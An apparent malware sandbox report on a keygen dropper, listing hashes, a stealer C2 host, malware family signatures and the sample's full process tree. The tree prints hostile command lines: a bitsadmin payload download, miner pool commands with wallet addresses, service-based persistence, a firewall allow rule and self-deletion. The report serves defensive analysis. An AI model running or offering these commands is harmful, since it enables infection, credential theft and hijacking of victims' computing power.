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Analysis

  • max time kernel
    51s
  • max time network
    160s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    26/04/2021, 13:09

Errors

Reason
Machine shutdown

General

  • Target

    keygen-step-4d.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 19 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2980
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2688
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2664
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2568
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2548
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1816
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
            1⤵
              PID:1380
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1352
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1188
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1128
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:1068
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:296
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4d.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4d.exe"
                        1⤵
                        • Checks computer location settings
                        • Suspicious use of WriteProcessMemory
                        PID:904
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:3116
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:652
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1896
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:2324
                          • C:\Users\Admin\AppData\Local\Temp\is-BA9ID.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-BA9ID.tmp\Install.tmp" /SL5="$701C8,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:3876
                            • C:\Users\Admin\AppData\Local\Temp\is-M9DT6.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-M9DT6.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:188
                              • C:\Program Files\MSBuild\PKVXOXPBNE\ultramediaburner.exe
                                "C:\Program Files\MSBuild\PKVXOXPBNE\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:2620
                                • C:\Users\Admin\AppData\Local\Temp\is-VPJGG.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-VPJGG.tmp\ultramediaburner.tmp" /SL5="$301C4,281924,62464,C:\Program Files\MSBuild\PKVXOXPBNE\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:196
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:1880
                              • C:\Users\Admin\AppData\Local\Temp\99-faed3-bb7-27980-a5e4be4db3f8e\Muzhiladewe.exe
                                "C:\Users\Admin\AppData\Local\Temp\99-faed3-bb7-27980-a5e4be4db3f8e\Muzhiladewe.exe"
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3920
                              • C:\Users\Admin\AppData\Local\Temp\80-a616d-96d-00a9b-34d49d27d54c4\Laemuvaelaexa.exe
                                "C:\Users\Admin\AppData\Local\Temp\80-a616d-96d-00a9b-34d49d27d54c4\Laemuvaelaexa.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:1964
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jvf0fs3o.4nw\instEU.exe & exit
                                  6⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4604
                                  • C:\Users\Admin\AppData\Local\Temp\jvf0fs3o.4nw\instEU.exe
                                    C:\Users\Admin\AppData\Local\Temp\jvf0fs3o.4nw\instEU.exe
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4776
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i22jw2dw.sc0\google-game.exe & exit
                                  6⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4572
                                  • C:\Users\Admin\AppData\Local\Temp\i22jw2dw.sc0\google-game.exe
                                    C:\Users\Admin\AppData\Local\Temp\i22jw2dw.sc0\google-game.exe
                                    7⤵
                                      PID:4764
                                      • C:\Windows\SysWOW64\rundll32.exe
                                        "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                        8⤵
                                        • Loads dropped DLL
                                        PID:4100
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uxqrgbux.e0y\md1_1eaf.exe & exit
                                    6⤵
                                      PID:4700
                                      • C:\Users\Admin\AppData\Local\Temp\uxqrgbux.e0y\md1_1eaf.exe
                                        C:\Users\Admin\AppData\Local\Temp\uxqrgbux.e0y\md1_1eaf.exe
                                        7⤵
                                        • Executes dropped EXE
                                        • Checks whether UAC is enabled
                                        PID:4632
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mzbhoraa.0nn\askinstall39.exe & exit
                                      6⤵
                                        PID:4508
                                        • C:\Users\Admin\AppData\Local\Temp\mzbhoraa.0nn\askinstall39.exe
                                          C:\Users\Admin\AppData\Local\Temp\mzbhoraa.0nn\askinstall39.exe
                                          7⤵
                                          • Executes dropped EXE
                                          PID:636
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd.exe /c taskkill /f /im chrome.exe
                                            8⤵
                                              PID:5112
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /f /im chrome.exe
                                                9⤵
                                                • Kills process with taskkill
                                                PID:5188
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cw4yhf4v.dbu\SunLabsPlayer.exe /S & exit
                                          6⤵
                                            PID:5372
                                            • C:\Users\Admin\AppData\Local\Temp\cw4yhf4v.dbu\SunLabsPlayer.exe
                                              C:\Users\Admin\AppData\Local\Temp\cw4yhf4v.dbu\SunLabsPlayer.exe /S
                                              7⤵
                                                PID:5956
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                  8⤵
                                                    PID:5772
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                    8⤵
                                                      PID:5160
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                      8⤵
                                                        PID:1452
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                        8⤵
                                                          PID:6108
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                          8⤵
                                                            PID:4220
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                            8⤵
                                                              PID:2848
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsw612E.tmp\tempfile.ps1"
                                                              8⤵
                                                                PID:4556
                                                              • C:\Windows\SysWOW64\bitsadmin.exe
                                                                "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                8⤵
                                                                • Download via BitsAdmin
                                                                PID:5684
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yocscxwc.dhj\inst.exe & exit
                                                            6⤵
                                                              PID:5456
                                                              • C:\Users\Admin\AppData\Local\Temp\yocscxwc.dhj\inst.exe
                                                                C:\Users\Admin\AppData\Local\Temp\yocscxwc.dhj\inst.exe
                                                                7⤵
                                                                  PID:5132
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cfmtdyrk.g1i\GcleanerWW.exe /mixone & exit
                                                                6⤵
                                                                  PID:1748
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0e1bnuex.a1f\toolspab1.exe & exit
                                                                  6⤵
                                                                    PID:5636
                                                                    • C:\Users\Admin\AppData\Local\Temp\0e1bnuex.a1f\toolspab1.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\0e1bnuex.a1f\toolspab1.exe
                                                                      7⤵
                                                                        PID:6068
                                                                        • C:\Users\Admin\AppData\Local\Temp\0e1bnuex.a1f\toolspab1.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\0e1bnuex.a1f\toolspab1.exe
                                                                          8⤵
                                                                            PID:4680
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lxiwqjlf.rbe\app.exe /8-2222 & exit
                                                                        6⤵
                                                                          PID:3552
                                                                          • C:\Users\Admin\AppData\Local\Temp\lxiwqjlf.rbe\app.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\lxiwqjlf.rbe\app.exe /8-2222
                                                                            7⤵
                                                                              PID:5944
                                                                              • C:\Users\Admin\AppData\Local\Temp\lxiwqjlf.rbe\app.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\lxiwqjlf.rbe\app.exe" /8-2222
                                                                                8⤵
                                                                                  PID:5700
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0f0pxzub.4g0\c7ae36fa.exe & exit
                                                                              6⤵
                                                                                PID:4652
                                                                                • C:\Users\Admin\AppData\Local\Temp\0f0pxzub.4g0\c7ae36fa.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\0f0pxzub.4g0\c7ae36fa.exe
                                                                                  7⤵
                                                                                    PID:5504
                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          • Modifies system certificate store
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:1136
                                                                          • C:\Users\Admin\AppData\Roaming\FBEA.tmp.exe
                                                                            "C:\Users\Admin\AppData\Roaming\FBEA.tmp.exe"
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:4884
                                                                            • C:\Users\Admin\AppData\Roaming\FBEA.tmp.exe
                                                                              "C:\Users\Admin\AppData\Roaming\FBEA.tmp.exe"
                                                                              4⤵
                                                                              • Executes dropped EXE
                                                                              PID:4936
                                                                          • C:\Users\Admin\AppData\Roaming\7F.tmp.exe
                                                                            "C:\Users\Admin\AppData\Roaming\7F.tmp.exe"
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            • Adds Run key to start application
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:5000
                                                                            • C:\Windows\system32\msiexec.exe
                                                                              -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w14811@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                              4⤵
                                                                                PID:5896
                                                                              • C:\Windows\system32\msiexec.exe
                                                                                -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w1162 --cpu-max-threads-hint 50 -r 9999
                                                                                4⤵
                                                                                • Blocklisted process makes network request
                                                                                PID:4248
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                              3⤵
                                                                                PID:4856
                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                  ping 127.0.0.1
                                                                                  4⤵
                                                                                  • Runs ping.exe
                                                                                  PID:3552
                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Checks whether UAC is enabled
                                                                              PID:4668
                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
                                                                              2⤵
                                                                                PID:5456
                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                  3⤵
                                                                                    PID:5152
                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                    3⤵
                                                                                      PID:3848
                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                  1⤵
                                                                                  • Suspicious use of SetThreadContext
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:1200
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                    2⤵
                                                                                    • Drops file in System32 directory
                                                                                    • Checks processor information in registry
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Modifies registry class
                                                                                    PID:856
                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                  1⤵
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies Internet Explorer settings
                                                                                  • Modifies registry class
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:4380
                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                  1⤵
                                                                                  • Modifies Internet Explorer settings
                                                                                  PID:4432
                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                  1⤵
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:5064
                                                                                • C:\Windows\system32\DllHost.exe
                                                                                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  • Drops file in Program Files directory
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:4764
                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                  1⤵
                                                                                  • Modifies Internet Explorer settings
                                                                                  • Modifies registry class
                                                                                  PID:4768
                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                  1⤵
                                                                                  • Modifies registry class
                                                                                  PID:5184
                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                  1⤵
                                                                                  • Modifies registry class
                                                                                  PID:5640
                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                  1⤵
                                                                                    PID:5936
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                      PID:3852
                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                      1⤵
                                                                                        PID:5016
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7F0F.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\7F0F.exe
                                                                                        1⤵
                                                                                          PID:5636
                                                                                        • C:\Users\Admin\AppData\Local\Temp\8143.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\8143.exe
                                                                                          1⤵
                                                                                            PID:1484
                                                                                          • C:\Users\Admin\AppData\Local\Temp\857A.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\857A.exe
                                                                                            1⤵
                                                                                              PID:4476
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls "C:\Users\Admin\AppData\Local\70ccb60a-e0e0-47a4-9380-db908b80b67a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                2⤵
                                                                                                • Modifies file permissions
                                                                                                PID:476
                                                                                              • C:\Users\Admin\AppData\Local\Temp\857A.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\857A.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                2⤵
                                                                                                  PID:3552
                                                                                              • C:\Users\Admin\AppData\Local\Temp\9450.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\9450.exe
                                                                                                1⤵
                                                                                                  PID:3392
                                                                                                • C:\Users\Admin\AppData\Local\Temp\9589.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\9589.exe
                                                                                                  1⤵
                                                                                                    PID:5700
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\9589.exe"
                                                                                                      2⤵
                                                                                                        PID:4596
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\9EA2.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\9EA2.exe
                                                                                                      1⤵
                                                                                                        PID:2164
                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                                                                          2⤵
                                                                                                            PID:5672
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\A356.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\A356.exe
                                                                                                          1⤵
                                                                                                            PID:1256
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cqobocga\
                                                                                                              2⤵
                                                                                                                PID:4344
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hjekdqa.exe" C:\Windows\SysWOW64\cqobocga\
                                                                                                                2⤵
                                                                                                                  PID:5484
                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                  "C:\Windows\System32\sc.exe" create cqobocga binPath= "C:\Windows\SysWOW64\cqobocga\hjekdqa.exe /d\"C:\Users\Admin\AppData\Local\Temp\A356.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                  2⤵
                                                                                                                    PID:6000
                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                    "C:\Windows\System32\sc.exe" description cqobocga "wifi internet conection"
                                                                                                                    2⤵
                                                                                                                      PID:2384
                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                      "C:\Windows\System32\sc.exe" start cqobocga
                                                                                                                      2⤵
                                                                                                                        PID:5632
                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                        2⤵
                                                                                                                          PID:3388
                                                                                                                      • C:\Windows\SysWOW64\cqobocga\hjekdqa.exe
                                                                                                                        C:\Windows\SysWOW64\cqobocga\hjekdqa.exe /d"C:\Users\Admin\AppData\Local\Temp\A356.exe"
                                                                                                                        1⤵
                                                                                                                          PID:6092
                                                                                                                          • C:\Windows\SysWOW64\svchost.exe
                                                                                                                            svchost.exe
                                                                                                                            2⤵
                                                                                                                              PID:6068
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\E802.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\E802.exe
                                                                                                                            1⤵
                                                                                                                              PID:5900
                                                                                                                              • C:\Users\Admin\AppData\Roaming\IrfanViewStreamer\IVStreamer.exe
                                                                                                                                C:\Users\Admin\AppData\Roaming\IrfanViewStreamer\IVStreamer.exe
                                                                                                                                2⤵
                                                                                                                                  PID:3848
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\F66A.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\F66A.exe
                                                                                                                                1⤵
                                                                                                                                  PID:744

                                                                                                                                Network

                                                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                                                      Replay Monitor

                                                                                                                                      Loading Replay Monitor...

                                                                                                                                      Downloads

                                                                                                                                      • memory/188-203-0x0000000001420000-0x0000000001422000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        8KB

                                                                                                                                      • memory/196-211-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4KB

                                                                                                                                      • memory/296-145-0x0000021EE4F00000-0x0000021EE4F70000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        448KB

                                                                                                                                      • memory/296-143-0x0000021EE4D10000-0x0000021EE4D5B000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        300KB

                                                                                                                                      • memory/652-137-0x000000000469C000-0x000000000479D000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        1.0MB

